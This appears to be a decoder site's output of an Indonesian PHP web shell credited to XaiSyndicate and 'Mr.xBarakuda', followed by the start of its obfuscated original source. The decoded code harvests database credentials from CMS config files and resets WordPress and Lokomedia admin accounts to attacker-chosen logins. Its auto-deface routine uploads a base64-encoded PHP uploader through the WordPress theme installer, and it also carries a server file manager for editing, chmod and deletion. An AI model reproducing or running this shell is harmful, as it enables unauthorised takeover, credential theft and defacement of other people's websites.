$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
$url_target = "<center>Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a></center><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
$url_target = "<center>Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a></center><br>";
} else {
$url_target = "<center>Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]</center><br>";
}
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
echo "<center>Config => ".$file_conf."<br>";
echo "CMS => Lokomedia</center><br>";
if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
if(!$update OR !$conn OR !$db) {
echo "<center>Status => <font color=red>".mysql_error()."</font></center><br><br>";
} else {
echo "<center>Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font></center><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h2>Auto Edit User Config</h2>
<form method='post'>
<font color='blue'>Dir Config:</font> <br>
<input type='text' size='50' name='config_dir' value='$path'><br><br>
<font color='blue'>Set User & Pass:</font> <br>
<input type='text' name='user_baru' value='mrxbarakuda' placeholder='user_baru'><br>
<input type='text' name='pass_baru' value='mrxbarakuda' placeholder='pass_baru'><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 215px;'><br><br>
</form>
<span>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</span></center>";
}
} elseif($_GET['kuda'] == 'edit_title') {
if($_POST['hajar']) {
$title = htmlspecialchars($_POST['new_title']);
$pn_title = str_replace(" ", "-", $title);
if($_POST['cek_edit'] == "Y") {
$script = $_POST['edit_content'];
} else {
$script = $title;
}
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."posts";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
$update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
$update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
echo "<div style='margin: 5px auto;'>";
if($target == '') {
echo "<center>URL: <font color=red>error, gabisa ambil nama domain nya</font> -> </center>";
} else {
echo "<center>URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> </center>";
}
if(!$update OR !$conn OR !$db) {
echo "<center><font color=red>MySQL Error: ".mysql_error()."</font></center><br>";
} else {
echo "<center><font color=lime>sukses di ganti.</font></center><br>";
}
echo "</div>";
mysql_close($conn);
}
}
} else {
echo "<center>
<h2>Auto Edit Title+Content WordPress</h2>
<form method='post'>
<font color='blue'>Dir Config:</font> <br>
<input type='text' size='50' name='config_dir' value='$path'><br><br>
<font color='blue'>Set Title:</font> <br>
<input type='text' name='new_title' value='Visited By Mr.xBarakuda' placeholder='New Title'><br><br>
<font color='blue'>Edit Content?:</font> <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
<span><font color='blue'>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span></font><br>
<textarea name='edit_content' placeholder='contoh script: https://pastebin.com/raw/mU2tA4Sv' style='width: 450px; height: 150px;'></textarea><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br><br></form>
<span>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</span></center>";
}
} elseif($_GET['kuda'] == 'auto_dwp') {
if($_POST['auto_deface_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function lohgin($cek, $web, $userr, $pass, $wp_submit) {
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "$wp_submit",
"redirect_to" => "$web",
"testcookie" => "1",
);
$ch = curl_init($cek);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$scan = $_POST['link_config'];
$link_config = scandir($scan);
$script = htmlspecialchars($_POST['script']);
$user = "mrxbarakuda";
$pass = "mrxbarakuda";
$passx = md5($pass);
foreach($link_config as $dir_config) {
if(!is_file("$scan/$dir_config")) continue;
$config = file_get_contents("$scan/$dir_config");
if(preg_match("/WordPress/", $config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "<center>[-] <font color=red>error, gabisa ambil nama domain nya</font></center><br>";
} else {
echo "<center>[+] $target </center><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "<center>[-] MySQL Error: <font color=red>".mysql_error()."</font></center><br><br>";
mysql_close($conn);
} else {
$site = "$target/wp-login.php";
$site2 = "$target/wp-admin/theme-install.php?upload";
$b1 = anucurl($site2);
$wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
$b = lohgin($site, $site2, $user, $pass, $wp_sub);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
$upload3 = base64_decode("PD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQokbmV3ZmlsZTM9ImsucGhwIjsNCmlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCm1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZTNbJ3RtcF9uYW1lJ10sICIuLi8uLi8uLi8uLi8kbmV3ZmlsZTMiKTsNCj8+");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@$www",
"install-theme-submit" => "Install Now",
);
$ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION, true);
$data3 = curl_exec($ch);
curl_close($ch);
$y = date("Y");
$m = date("m");
$namafile = "id.php";
$fpi = fopen($namafile,"w");
fputs($fpi,$script);
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = anucurl($as);
if(preg_match("#$script#is", $bs)) {
echo "<center>[+] <font color='lime'>berhasil mepes...</font></center><br>";
echo "<center>[+] <a href='$as' target='_blank'>$as</a></center><br><br>";
} else {
echo "<center>[-] <font color='red'>gagal mepes...</font></center><br>";
echo "<center>[!!] coba aja manual: </center><br>";
echo "<center>[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a></center><br>";
echo "<center>[+] username: <font color=lime>$user</font></center><br>";
echo "<center>[+] password: <font color=lime>$pass</font></center><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center><h2>WordPress Auto Deface</h2>
<form method='post'>
<input type='text' name='link_config' size='50' height='10' value='$path'><br>
<input type='text' name='script' height='10' size='50' placeholder='Visited By Mr.xBarakuda' required><br>
<input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!'>
</form>
<br><span>NB : Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</span>
</center>";
}
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br/><center>'.$_POST['path'].'<br/><br/>';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green" size="2">Success !</font><br/>';
}else{
echo '<font color="red" size="2">Denied !</font><br/>';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Save">
</form>';
}
if(isset($_GET['filesrc'])){
echo "<tr><td>Look : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br/>';
echo "<textarea cols=80 rows=20 name='src'>".htmlspecialchars(file_get_contents($_GET['filesrc']))."</textarea><br/>";
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green" size="2">Success !</font><br/>';
}else{
echo '<font color="red" size="2">Denied !</font><br/>';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save">
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green" size="2">Success !</font><br/>';
}else{
echo '<font color="red" size="2">Denied !</font><br/>';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save">
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green" size="2">Success !</font><br/>';
}else{
echo '<font color="red" size="2">Denied !</font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green" size="2">Success</font><br/>';
}else{
echo '<font color="red" size="2">Denied</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div class="content"><table width="100%" border="1" cellpadding="3" cellspacing="1" align="center">
<tr>
<th><center>Name</center></th>
<th><center>Size</center></th>
<th><center>Permissions</center></th>
<th><center>Action</center></th>
</tr></div>';
foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td></tr>';
}
echo '</table>';
}
echo '<hr color=aqua><center>Copyright © '.date("Y").' <a href="http://www.xaisyndicate.net/" target="_blank">XaiSyndicate</a> - <a href="http://con7extofficial.blogspot.co.id/" target="_blank">Con7ext</a> | Recoded By <a href="https://instagram.com/x_barakuda" target="_blank">'.$_COPY.'</a></font></center><br></body></html>';
?>
Did this file decode correctly?
Original Code
<?php
session_start();
error_reporting(0);
set_time_limit(0);
$kepo='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